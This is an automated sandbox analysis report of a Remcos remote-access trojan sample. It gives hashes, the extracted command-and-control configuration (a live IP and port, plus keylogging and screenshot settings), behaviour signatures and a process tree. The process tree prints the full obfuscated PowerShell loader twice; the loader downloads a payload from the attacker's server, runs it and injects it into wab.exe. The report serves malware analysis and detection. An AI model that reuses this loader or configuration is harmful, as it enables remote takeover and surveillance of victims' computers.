remcos | 80cb04179fe16032b99ca054d1bca515bd079f928db6ae002ddfcfb3ebb236f4

Analysis

max time kernel
148s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240704-en
resource tags

arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
submitted
05/07/2024, 01:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
80cb04179fe16032b99ca054d1bca515bd079f928db6ae002ddfcfb3ebb236f4.vbs
Size 22KB
Sample240705-bwkhtaygql
SHA256 80cb04179fe16032b99ca054d1bca515bd079f928db6ae002ddfcfb3ebb236f4
MD5 8a6e48d62a29d7ad75089057e6455219
SHA1 69065c935e5de3eef99a5f0baaf127649b25bb0c
SHA512 d18a2ab9f7ad7b997a43a9924c950e111c6b176b418e220f7493c44c3b606108748831862296e61f775eceb20ceb7d88dac029dc37c293774f035f647d6067c3
SSDEEP 384:eIwCNv6K2EKlI9nOS/7FsznucLNavcq3xzaeuJLyWsT:HlqIVOe7FsTNq3x+eDT
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

remcos remotehost rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

103.237.87.40:1993

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-Y1ZTA5
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 1 IoCs

flow	pid	Process
1	1076	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1015551233-1106003478-1645743776-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3408	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2688	powershell.exe
3408	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2688 set thread context of 3408	2688	powershell.exe	90

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1076	powershell.exe
1076	powershell.exe
2688	powershell.exe
2688	powershell.exe
2688	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2688	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1076	powershell.exe
Token: SeDebugPrivilege	2688	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3408	wab.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4348 wrote to memory of 1076	4348	WScript.exe	80
PID 4348 wrote to memory of 1076	4348	WScript.exe	80
PID 1076 wrote to memory of 4968	1076	powershell.exe	84
PID 1076 wrote to memory of 4968	1076	powershell.exe	84
PID 1076 wrote to memory of 2688	1076	powershell.exe	87
PID 1076 wrote to memory of 2688	1076	powershell.exe	87
PID 1076 wrote to memory of 2688	1076	powershell.exe	87
PID 2688 wrote to memory of 2036	2688	powershell.exe	88
PID 2688 wrote to memory of 2036	2688	powershell.exe	88
PID 2688 wrote to memory of 2036	2688	powershell.exe	88
PID 2688 wrote to memory of 3408	2688	powershell.exe	90
PID 2688 wrote to memory of 3408	2688	powershell.exe	90
PID 2688 wrote to memory of 3408	2688	powershell.exe	90
PID 2688 wrote to memory of 3408	2688	powershell.exe	90
PID 2688 wrote to memory of 3408	2688	powershell.exe	90

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\80cb04179fe16032b99ca054d1bca515bd079f928db6ae002ddfcfb3ebb236f4.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Maintopmast Ugriske tuneably Agitatorers Statesmanlike Fellfare Blaeness Anapstiske Intolerably Musikledsagelsernes nonoccult Moit Leukotic Ordrevrdis Husbestyrerinders townly Teratoscopy Greengroceries Balancekonti Cesiums Inarched Alarmklokken228 Snuffingly Prinsedes Maintopmast Ugriske tuneably Agitatorers Statesmanlike Fellfare Blaeness Anapstiske Intolerably Musikledsagelsernes nonoccult Moit Leukotic Ordrevrdis Husbestyrerinders townly Teratoscopy Greengroceries Balancekonti Cesiums Inarched Alarmklokken228 Snuffingly Prinsedes';If (${host}.CurrentCulture) {$Udbuddet++;}Function Beseglingens($Meets){$Scenarieformers=$Meets.Length-$Udbuddet;$Nondualistically='SUBsTRI';$Nondualistically+='ng';For( $Agglomerations=7;$Agglomerations -lt $Scenarieformers;$Agglomerations+=8){$Maintopmast+=$Meets.$Nondualistically.Invoke( $Agglomerations, $Udbuddet);}$Maintopmast;}function Skillingsviser($Beser){ & ($Radikalismes) ($Beser);}$Reachieve=Beseglingens 'Mugwor,MTarg,teoWorshipzTilslriiInterinlThie,wilBazeskoaAlmengy/Nickelo5Tran ap.Pouc me0Upbuoya Cummins(Ne.atroWG.dmundi ,tubbinKatalogd Ccittho Sanderw,fterbrs H,llie AarsrytNJordrysTParoemi Feinsch1Fir ifr0Crosscu..lidest0 eburna;Enkelt SnerperWTrionyxi DijudinBestial6 Photol4Desalin;Blumned n,lefelxUdkryst6Best,kk4Ane gyd;Indskre specialrFrankosvP.ralle: Armhoo1Shieldt2Wessexm1Observa. Stadss0 Spross) hectog KundgjoGGrsrddeeFodnotecLigningk RencouoIncide./Ho.ebui2haremko0K terie1Geotect0Bo,biha0Quotidi1Garthma0Botilda1 Su bur salatenFtrdnin,i BevgelrBrevhoveSeepie fRosenstoAftrdelxBrstend/Ophidia1Op,adni2b.srgej1 Nordex.Livslg 0Diatese ';$rytmiseres=Beseglingens 'RecompaU Wron,hsStrobose Stokr,r Manyw.- EuroreASpeed pgDec,ataeAffringn RevolttPsychia ';$Statesmanlike=Beseglingens 'TildigthLamiidetUkammert Disfe.pNormalt:Tjekkos/Commonl/afsende1Ovatose0baptist3Non,mot.vllin.e2 Prepar3Transpo7Coracoi. Scabbl8 Umiste6Talepda.Kin,ers2Feruled4yelli,g7 .elimi/ write,UTra,sfunMellemkcK,ansenlSeptenao Forms.u Jixiekd InsecueOscillodOrc,dianHo.ouriek raktes Sor.hasSelvbio1Oxala m2 T igmo1Holdupu. RidderpD.fensos Res med Spid,b ';$Sludrevorne=Beseglingens ' Avisls>Counter ';$Radikalismes=Beseglingens ' OrdinaiSog.efoeProsperxBe,idne ';$Frickle='Anapstiske';$Miljreglers = Beseglingens 'T eskifeKnusenecUnmodifhRiddingo lanlgn S.amshe% itareaCamaldupManuslip PyranodSamarasaNonexpet AktoraaStavesv%Hfsylte\Evange SPrism kyAstigmadKursuslhUnd,fiaaLagringv CentraeAchinglt BesknksShafter. OldebaNFlde neeSovesy uPolypri Launde&Nonacti&Rekvisi Mutton,e Inte,wcRy,terehCousin,oeksklud StandttSteride ';Skillingsviser (Beseglingens 'Suitres$Flystyrg HydrarlFlkh,mmoArtistsbcoughs aPepperslOysterl:over orAIld ugltSmert goAmpu.erlmiddelvlScalpi e,kkepibrParke.isMedk pe=Citadel(PlanococC.ocodimMouchradSteller Phoswin/Geniculc Unconf Citron$Stein uMSchfereiDagsaktlFellowmj BronzerUnr eleeKohathigScyphozl Golfs,eSmit.ebr snobbis,okalpl)Udsugen ');Skillingsviser (Beseglingens ' Rottan$FeedheagSlutbetl Symphyo Bedagebdyd draaRe.itallBrnepar:F,rgaarAPrferengInhuma.i FreathtImpotioaPeti.letlimynono WormserFluxweee MacadarCalendusPinxitt=K akenb$An enneSTaccacetFruticaa Unright.bstraceProtubespu.tensmForvettaD.phthonGlycogel Kvier,iBog.arkkRa macke Genanv. fvnninsAfstivnpRemodu l SwashbiIro montAuditiv(Sprngkr$Sjask.aSCommodel Exacteu lmmelsdBeaminerSlummoceSkoddervstrmsbnoNyeressr ScalewnAdresseeNonappr),usinde ');Skillingsviser (Beseglingens 'Polychr[ L,beraNPoletteePaleob tRutsjes. egulitSFd elaneFremtidrSequentvSmagssaiSystemrc,pihippeAe ocarPStatiscoSteniaeiUnsubminFinpudstAmbitioMKa.egoraKeglestnLiefestaCmnuklegAnhedoneMousilyrMeg,her]Rustred: Forbru: Unsol,S Bossenegh.ttoicOndskabu PectorrSuentsuiVaseli.tO timery Bergg PInt.radrYdergrnoHdlcnuztBotchinoBallistcL,volacokudusg,lLawrigh Adscrip=Bnk,var .hyniac[ laasteNUn ededeSl,afejt Tipbar.Bely,niS Hush leSuperhuc SlackeuPoxedskrBrndp.niColorbltReinforyEringoePJen.enerAfdragso Vara gtRevnerno,ogikspc OldefaoDuplikalCosmogrTBifrontyLunkninpForlayfe onende] Assura:Rabbani:TelefonTplumb.nlUnderkesSwingei1Photost2grovmas ');$Statesmanlike=$Agitatorers[0];$Styrkepointet= (Beseglingens 'Quarter$UregerlgAgriluslRebrut.oPeritonbS.raatsaTrovrdil Metrom:DrnnertMpertin,uFedtpr,lJettisot SelvpeiCo enbrbSarabacrMissilee FamiliaLic nsskForkamr=Ande.klNAusteniePicowatwFrakobl-N.nlogiOtoitsdobUnprovojSpildereCelloercPemoty tTinny u SpillevSAffiliaySkild as MorphotPliershe H.phommtro,des.Trapic.NstraaleeFrsteoptCounter.HarpninWBlokadeeSteamerbSlidstrCForsultlIndfl tiNonexage.dkikstn Eli,iot');$Styrkepointet+=$Atollers[1];Skillingsviser ($Styrkepointet);Skillingsviser (Beseglingens ' Tnktes$ hoddenMEfter auFicusenl .ostertLucernrij.giessbSup ranrBorgerleinanimaa ChurchkDiss.ti.SkrivebH WhizzeeAvis.riaInt,rjedBissenae Ir.itarPlasticsKalkeri[Nonstar$S.aaborrMausoleyArbejdst,rillbim BillediSpidsbusSwivingeSulfosbrBanjorieLegevr s nic,en]suessio=M,tenhe$el,ertvRExe,rateHjlpelraSeawa.ecRugmelshCocoon,iFollicueFemtesmvRe.burseM.noton ');$Megrel=Beseglingens 'Acolapi$OligistMPostejmu istorl Infantt GlenniiSaprozobIndlogerMedde eeNidald,aRecklaskAdvant,.FuracioD HnsehooUnprobawEfterlanRomantilCoadapto.iscreaa TrustedBundgarFLymnaeaiSangd,olPoetshie Vntspr(Diskhjs$We.chinSDryptrrtfdekde,aager yrtEcc,leoe Br esys LaesnimLnni gsaTyl.nerntrlle,elkinstetiRoisterkCroupale Unffro, St geh$ LoftmeA Boleskl.ovepudaAfgiverrEmorypomCairosfk StemmelSilvau oStilleskPlatyrrkPoignane ArcosonSkrpe.s2Regnska2Panelli8Quattyb)Rbarest ';$Alarmklokken228=$Atollers[0];Skillingsviser (Beseglingens 'frstele$Cirkelsg syn agl isoleroFancymobUdhamr,adiestrulJunette:ElectorF,ulsereoAquanaur IngrapgSkovnina Minguef ibelitlA.galaseBardiesrPredesi=Tillgso(PostcanTValgmene s.atsbsresectitDu.ligh- unguicPKj,stenaHel edstWhilli hEksil e Uanfgte$ EggbeaANorahenlStligeraTmmermnrMonkhoom tandak Sti,lilK,nkiseoNontangkObjectakFolloweeFeltm dnRejsefr2ludfat 2Bibliot8Sp,nser)Slut hy ');while (!$Forgafler) {Skillingsviser (Beseglingens ' Maddin$HomodyngRese.val Pre ntoCocontrbReinducaNon,nstlDriftsk:LareabeC Kroku.hHymenopa Mi.alprPalme laWakh,recKalendetTickbeaeOmvisnirMao idoiChetahssMusikb.tKobberr=Fundpar$afmilittInculpar,navoucuPrismsseWhirlie ') ;Skillingsviser $Megrel;Skillingsviser (Beseglingens 'AlligatSIn,ertetafpropnaKnagendrShuggyotIn ohre- haseunS Pr.posl MedmeneStttefoe ymmetrp omfort Noni.b4Bantaya ');Skillingsviser (Beseglingens 'Phytoso$ ConoidgMa,kerolMidwiveo.ntretobOb.rstiaPentagalSprrede: Pr stuFStresssoRedaktir Vi.ualgReferenaGas,aldf BawblelUhel vae cacaobrNip.oni=Faustch(SjippenTCipherse Sejpi,sHamborgtKolerae-MenneskPD.rmatoaMohurbot Lairp.hDecurie Fiktion$KonsulrABittermlradioima H mothrPy,rolbmCobi hokGagginglSkimledoPontiffk,edskrek.ombnineTuttisbnRandomi2 Ciffe.2 ,ellem8Becivet)Ccilius ') ;Skillingsviser (Beseglingens 'C tasek$Re angegTilstrblThermosoAmativeb Gglerta Aftrapl.rnketp:H.mnenstUnderpluCheiro,n B.adine RedrilaBenzintb.okuserlTvebakhyout,ill=central$Ma usligKnittinl OdorifoTris.ribSpille,aCa.savalstormog:bevgelsUFilmevegCyclizer OverluiGrube nsSortbrskSmagsfreFreekir+Forgels+Enhedge%Saltpas$R,ttercAEndokrigOutg,owiSlutstrtOffsettaAlbumentGouramiokrigstirRhapheseBragistrBiosoc,sBrdrist.AntonomcCliffsmoBoligspuRhodinonHy.erpltGoaledb ') ;$Statesmanlike=$Agitatorers[$tuneably];}$Planlaegnings=316376;$Skipperskraaens=31017;Skillingsviser (Beseglingens ' Quaker$OpremsegContactlSubapteoudaandib Chromoa omentlProhibi:KeratosITricononSkyldbrt B gsidoCognomil DalboeeSpasmotr MystifaNegaradbs.okvrklMagrimbySynacti Wigwagg= Evakue Apersh,G TheciaeNondelet Stolpe-SeakalkCRobinieoDistribnD,ninsttEngy,coeBise.sunChenopotTr vlbe Trskelk$DmningsAHo eyfalFo,mfasaAvisartrEconom.m quabskdomnerel Irr tio roghlikOpsi,elkAttacheeD arasonAdinesi2Ornitho2Sinusk.8Spectro ');Skillingsviser (Beseglingens 'Stoedvi$UncomplgNixdo fl Dri leoAnomathbForudsiaudenriglHemplik:Shel,akM.ontenthCutlerieMahbubtdStaalore Sto mvrHulkenesBarge,o Kelingu=pan.ram parad s[d aebenSThubanry Da tylsSe timetFriba eeUnashammSmkfedt. Rhodi,CNonagraoTabterenVaria,evMangesteEconomirDiplosttoverexc]Naevino:P ligor:Unkno.aF DebitrrBagaksloIchthammMohawkiB Mistera Bluings Tirsd.eF igrel6 Bakser4sectionSArcticitHemidomrInsubm istorku n KonomigKaglede(Und.rbi$Lin,ariIDivergenScombertR,skmeloF,milielThokeseeTrlknstrBl hattagerbokobMe.etrsln ndefeyMiljpa.)gonahyp ');Skillingsviser (Beseglingens 'Jamaica$ Intermg Si,netlHovedpioBeautifbFlammesaBestyrelBaneg a:Tene.muMtva,meloApologdiGono.yltEmprent Ggelede=Chromot Ozelot[Sh.llfuSUmberinyApprobasCrinanitSilentiecosphermA.kylot.standarTDelsteneR binsdxRuteflytSc,erzo.Skpp.skESunninensalvagecAlungaroJammerkdFremseniSkinhelnGunstbeg Lowdow] Xenoti:,paione:ViberneAS riptfSU derstCIndweltIUnlikedImesorrh. BorupgGBrandsteVelk,mst SeldorSBasi,idtHyolithr UnpenaiLov,lesnBlad.mrgAfsvkni( Meddel$Erig.reMOxy,ydrhUn,aunteDenouncdOrdaineeC,assinrAf.rogosBrik vn)Hjemkal ');Skillingsviser (Beseglingens 'Basswoo$Ouncenmg Rightal P,otogoGaentopbKursuslaThrashelBrydeka:HyalinoHphasc,ljCompilaeBrevsprmUdtageltVirksoma Anthobg WhitineA.suransExoergi=,rhverv$DebatsiMAssembloKat,gori .erititA.lader.klistrisPerspekuSupe.fobG nansksTranspltDesarm r,lareboiSvindlenTnkeresgCu,culi( Abscou$HoraehaP SubtralBr,llefaLiteralnUnginnel Utrneta Geussue iltregMi,iatun ComproiOverprunMicrocogskaldyrsVisanon,Kal nde$ AnatheS Jacob,k CreaghiBas illp .icyclpidioleceUnmutatrUnionissballismk imnolorToldkonaCommunaaJerninde ArustlnsubstvesBebroth)Cot,urn ');Skillingsviser $Hjemtages;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1076
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Sydhavets.Neu && echo t"
    3⤵
    PID:4968
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Maintopmast Ugriske tuneably Agitatorers Statesmanlike Fellfare Blaeness Anapstiske Intolerably Musikledsagelsernes nonoccult Moit Leukotic Ordrevrdis Husbestyrerinders townly Teratoscopy Greengroceries Balancekonti Cesiums Inarched Alarmklokken228 Snuffingly Prinsedes Maintopmast Ugriske tuneably Agitatorers Statesmanlike Fellfare Blaeness Anapstiske Intolerably Musikledsagelsernes nonoccult Moit Leukotic Ordrevrdis Husbestyrerinders townly Teratoscopy Greengroceries Balancekonti Cesiums Inarched Alarmklokken228 Snuffingly Prinsedes';If (${host}.CurrentCulture) {$Udbuddet++;}Function Beseglingens($Meets){$Scenarieformers=$Meets.Length-$Udbuddet;$Nondualistically='SUBsTRI';$Nondualistically+='ng';For( $Agglomerations=7;$Agglomerations -lt $Scenarieformers;$Agglomerations+=8){$Maintopmast+=$Meets.$Nondualistically.Invoke( $Agglomerations, $Udbuddet);}$Maintopmast;}function Skillingsviser($Beser){ & ($Radikalismes) ($Beser);}$Reachieve=Beseglingens 'Mugwor,MTarg,teoWorshipzTilslriiInterinlThie,wilBazeskoaAlmengy/Nickelo5Tran ap.Pouc me0Upbuoya Cummins(Ne.atroWG.dmundi ,tubbinKatalogd Ccittho Sanderw,fterbrs H,llie AarsrytNJordrysTParoemi Feinsch1Fir ifr0Crosscu..lidest0 eburna;Enkelt SnerperWTrionyxi DijudinBestial6 Photol4Desalin;Blumned n,lefelxUdkryst6Best,kk4Ane gyd;Indskre specialrFrankosvP.ralle: Armhoo1Shieldt2Wessexm1Observa. Stadss0 Spross) hectog KundgjoGGrsrddeeFodnotecLigningk RencouoIncide./Ho.ebui2haremko0K terie1Geotect0Bo,biha0Quotidi1Garthma0Botilda1 Su bur salatenFtrdnin,i BevgelrBrevhoveSeepie fRosenstoAftrdelxBrstend/Ophidia1Op,adni2b.srgej1 Nordex.Livslg 0Diatese ';$rytmiseres=Beseglingens 'RecompaU Wron,hsStrobose Stokr,r Manyw.- EuroreASpeed pgDec,ataeAffringn RevolttPsychia ';$Statesmanlike=Beseglingens 'TildigthLamiidetUkammert Disfe.pNormalt:Tjekkos/Commonl/afsende1Ovatose0baptist3Non,mot.vllin.e2 Prepar3Transpo7Coracoi. Scabbl8 Umiste6Talepda.Kin,ers2Feruled4yelli,g7 .elimi/ write,UTra,sfunMellemkcK,ansenlSeptenao Forms.u Jixiekd InsecueOscillodOrc,dianHo.ouriek raktes Sor.hasSelvbio1Oxala m2 T igmo1Holdupu. RidderpD.fensos Res med Spid,b ';$Sludrevorne=Beseglingens ' Avisls>Counter ';$Radikalismes=Beseglingens ' OrdinaiSog.efoeProsperxBe,idne ';$Frickle='Anapstiske';$Miljreglers = Beseglingens 'T eskifeKnusenecUnmodifhRiddingo lanlgn S.amshe% itareaCamaldupManuslip PyranodSamarasaNonexpet AktoraaStavesv%Hfsylte\Evange SPrism kyAstigmadKursuslhUnd,fiaaLagringv CentraeAchinglt BesknksShafter. OldebaNFlde neeSovesy uPolypri Launde&Nonacti&Rekvisi Mutton,e Inte,wcRy,terehCousin,oeksklud StandttSteride ';Skillingsviser (Beseglingens 'Suitres$Flystyrg HydrarlFlkh,mmoArtistsbcoughs aPepperslOysterl:over orAIld ugltSmert goAmpu.erlmiddelvlScalpi e,kkepibrParke.isMedk pe=Citadel(PlanococC.ocodimMouchradSteller Phoswin/Geniculc Unconf Citron$Stein uMSchfereiDagsaktlFellowmj BronzerUnr eleeKohathigScyphozl Golfs,eSmit.ebr snobbis,okalpl)Udsugen ');Skillingsviser (Beseglingens ' Rottan$FeedheagSlutbetl Symphyo Bedagebdyd draaRe.itallBrnepar:F,rgaarAPrferengInhuma.i FreathtImpotioaPeti.letlimynono WormserFluxweee MacadarCalendusPinxitt=K akenb$An enneSTaccacetFruticaa Unright.bstraceProtubespu.tensmForvettaD.phthonGlycogel Kvier,iBog.arkkRa macke Genanv. fvnninsAfstivnpRemodu l SwashbiIro montAuditiv(Sprngkr$Sjask.aSCommodel Exacteu lmmelsdBeaminerSlummoceSkoddervstrmsbnoNyeressr ScalewnAdresseeNonappr),usinde ');Skillingsviser (Beseglingens 'Polychr[ L,beraNPoletteePaleob tRutsjes. egulitSFd elaneFremtidrSequentvSmagssaiSystemrc,pihippeAe ocarPStatiscoSteniaeiUnsubminFinpudstAmbitioMKa.egoraKeglestnLiefestaCmnuklegAnhedoneMousilyrMeg,her]Rustred: Forbru: Unsol,S Bossenegh.ttoicOndskabu PectorrSuentsuiVaseli.tO timery Bergg PInt.radrYdergrnoHdlcnuztBotchinoBallistcL,volacokudusg,lLawrigh Adscrip=Bnk,var .hyniac[ laasteNUn ededeSl,afejt Tipbar.Bely,niS Hush leSuperhuc SlackeuPoxedskrBrndp.niColorbltReinforyEringoePJen.enerAfdragso Vara gtRevnerno,ogikspc OldefaoDuplikalCosmogrTBifrontyLunkninpForlayfe onende] Assura:Rabbani:TelefonTplumb.nlUnderkesSwingei1Photost2grovmas ');$Statesmanlike=$Agitatorers[0];$Styrkepointet= (Beseglingens 'Quarter$UregerlgAgriluslRebrut.oPeritonbS.raatsaTrovrdil Metrom:DrnnertMpertin,uFedtpr,lJettisot SelvpeiCo enbrbSarabacrMissilee FamiliaLic nsskForkamr=Ande.klNAusteniePicowatwFrakobl-N.nlogiOtoitsdobUnprovojSpildereCelloercPemoty tTinny u SpillevSAffiliaySkild as MorphotPliershe H.phommtro,des.Trapic.NstraaleeFrsteoptCounter.HarpninWBlokadeeSteamerbSlidstrCForsultlIndfl tiNonexage.dkikstn Eli,iot');$Styrkepointet+=$Atollers[1];Skillingsviser ($Styrkepointet);Skillingsviser (Beseglingens ' Tnktes$ hoddenMEfter auFicusenl .ostertLucernrij.giessbSup ranrBorgerleinanimaa ChurchkDiss.ti.SkrivebH WhizzeeAvis.riaInt,rjedBissenae Ir.itarPlasticsKalkeri[Nonstar$S.aaborrMausoleyArbejdst,rillbim BillediSpidsbusSwivingeSulfosbrBanjorieLegevr s nic,en]suessio=M,tenhe$el,ertvRExe,rateHjlpelraSeawa.ecRugmelshCocoon,iFollicueFemtesmvRe.burseM.noton ');$Megrel=Beseglingens 'Acolapi$OligistMPostejmu istorl Infantt GlenniiSaprozobIndlogerMedde eeNidald,aRecklaskAdvant,.FuracioD HnsehooUnprobawEfterlanRomantilCoadapto.iscreaa TrustedBundgarFLymnaeaiSangd,olPoetshie Vntspr(Diskhjs$We.chinSDryptrrtfdekde,aager yrtEcc,leoe Br esys LaesnimLnni gsaTyl.nerntrlle,elkinstetiRoisterkCroupale Unffro, St geh$ LoftmeA Boleskl.ovepudaAfgiverrEmorypomCairosfk StemmelSilvau oStilleskPlatyrrkPoignane ArcosonSkrpe.s2Regnska2Panelli8Quattyb)Rbarest ';$Alarmklokken228=$Atollers[0];Skillingsviser (Beseglingens 'frstele$Cirkelsg syn agl isoleroFancymobUdhamr,adiestrulJunette:ElectorF,ulsereoAquanaur IngrapgSkovnina Minguef ibelitlA.galaseBardiesrPredesi=Tillgso(PostcanTValgmene s.atsbsresectitDu.ligh- unguicPKj,stenaHel edstWhilli hEksil e Uanfgte$ EggbeaANorahenlStligeraTmmermnrMonkhoom tandak Sti,lilK,nkiseoNontangkObjectakFolloweeFeltm dnRejsefr2ludfat 2Bibliot8Sp,nser)Slut hy ');while (!$Forgafler) {Skillingsviser (Beseglingens ' Maddin$HomodyngRese.val Pre ntoCocontrbReinducaNon,nstlDriftsk:LareabeC Kroku.hHymenopa Mi.alprPalme laWakh,recKalendetTickbeaeOmvisnirMao idoiChetahssMusikb.tKobberr=Fundpar$afmilittInculpar,navoucuPrismsseWhirlie ') ;Skillingsviser $Megrel;Skillingsviser (Beseglingens 'AlligatSIn,ertetafpropnaKnagendrShuggyotIn ohre- haseunS Pr.posl MedmeneStttefoe ymmetrp omfort Noni.b4Bantaya ');Skillingsviser (Beseglingens 'Phytoso$ ConoidgMa,kerolMidwiveo.ntretobOb.rstiaPentagalSprrede: Pr stuFStresssoRedaktir Vi.ualgReferenaGas,aldf BawblelUhel vae cacaobrNip.oni=Faustch(SjippenTCipherse Sejpi,sHamborgtKolerae-MenneskPD.rmatoaMohurbot Lairp.hDecurie Fiktion$KonsulrABittermlradioima H mothrPy,rolbmCobi hokGagginglSkimledoPontiffk,edskrek.ombnineTuttisbnRandomi2 Ciffe.2 ,ellem8Becivet)Ccilius ') ;Skillingsviser (Beseglingens 'C tasek$Re angegTilstrblThermosoAmativeb Gglerta Aftrapl.rnketp:H.mnenstUnderpluCheiro,n B.adine RedrilaBenzintb.okuserlTvebakhyout,ill=central$Ma usligKnittinl OdorifoTris.ribSpille,aCa.savalstormog:bevgelsUFilmevegCyclizer OverluiGrube nsSortbrskSmagsfreFreekir+Forgels+Enhedge%Saltpas$R,ttercAEndokrigOutg,owiSlutstrtOffsettaAlbumentGouramiokrigstirRhapheseBragistrBiosoc,sBrdrist.AntonomcCliffsmoBoligspuRhodinonHy.erpltGoaledb ') ;$Statesmanlike=$Agitatorers[$tuneably];}$Planlaegnings=316376;$Skipperskraaens=31017;Skillingsviser (Beseglingens ' Quaker$OpremsegContactlSubapteoudaandib Chromoa omentlProhibi:KeratosITricononSkyldbrt B gsidoCognomil DalboeeSpasmotr MystifaNegaradbs.okvrklMagrimbySynacti Wigwagg= Evakue Apersh,G TheciaeNondelet Stolpe-SeakalkCRobinieoDistribnD,ninsttEngy,coeBise.sunChenopotTr vlbe Trskelk$DmningsAHo eyfalFo,mfasaAvisartrEconom.m quabskdomnerel Irr tio roghlikOpsi,elkAttacheeD arasonAdinesi2Ornitho2Sinusk.8Spectro ');Skillingsviser (Beseglingens 'Stoedvi$UncomplgNixdo fl Dri leoAnomathbForudsiaudenriglHemplik:Shel,akM.ontenthCutlerieMahbubtdStaalore Sto mvrHulkenesBarge,o Kelingu=pan.ram parad s[d aebenSThubanry Da tylsSe timetFriba eeUnashammSmkfedt. Rhodi,CNonagraoTabterenVaria,evMangesteEconomirDiplosttoverexc]Naevino:P ligor:Unkno.aF DebitrrBagaksloIchthammMohawkiB Mistera Bluings Tirsd.eF igrel6 Bakser4sectionSArcticitHemidomrInsubm istorku n KonomigKaglede(Und.rbi$Lin,ariIDivergenScombertR,skmeloF,milielThokeseeTrlknstrBl hattagerbokobMe.etrsln ndefeyMiljpa.)gonahyp ');Skillingsviser (Beseglingens 'Jamaica$ Intermg Si,netlHovedpioBeautifbFlammesaBestyrelBaneg a:Tene.muMtva,meloApologdiGono.yltEmprent Ggelede=Chromot Ozelot[Sh.llfuSUmberinyApprobasCrinanitSilentiecosphermA.kylot.standarTDelsteneR binsdxRuteflytSc,erzo.Skpp.skESunninensalvagecAlungaroJammerkdFremseniSkinhelnGunstbeg Lowdow] Xenoti:,paione:ViberneAS riptfSU derstCIndweltIUnlikedImesorrh. BorupgGBrandsteVelk,mst SeldorSBasi,idtHyolithr UnpenaiLov,lesnBlad.mrgAfsvkni( Meddel$Erig.reMOxy,ydrhUn,aunteDenouncdOrdaineeC,assinrAf.rogosBrik vn)Hjemkal ');Skillingsviser (Beseglingens 'Basswoo$Ouncenmg Rightal P,otogoGaentopbKursuslaThrashelBrydeka:HyalinoHphasc,ljCompilaeBrevsprmUdtageltVirksoma Anthobg WhitineA.suransExoergi=,rhverv$DebatsiMAssembloKat,gori .erititA.lader.klistrisPerspekuSupe.fobG nansksTranspltDesarm r,lareboiSvindlenTnkeresgCu,culi( Abscou$HoraehaP SubtralBr,llefaLiteralnUnginnel Utrneta Geussue iltregMi,iatun ComproiOverprunMicrocogskaldyrsVisanon,Kal nde$ AnatheS Jacob,k CreaghiBas illp .icyclpidioleceUnmutatrUnionissballismk imnolorToldkonaCommunaaJerninde ArustlnsubstvesBebroth)Cot,urn ');Skillingsviser $Hjemtages;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2688
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Sydhavets.Neu && echo t"
      4⤵
      PID:2036
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetWindowsHookEx
      PID:3408

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 144B
SHA256 9d7bdd554f1ec84c2c94cea7acb73d6481260f0c27065a46170ae67b724ca393
MD5 056ac136aa8af920dd33c2b4266f9e29
SHA1 16fe3aa1697584907d51c5d4a7a508bad7f98789
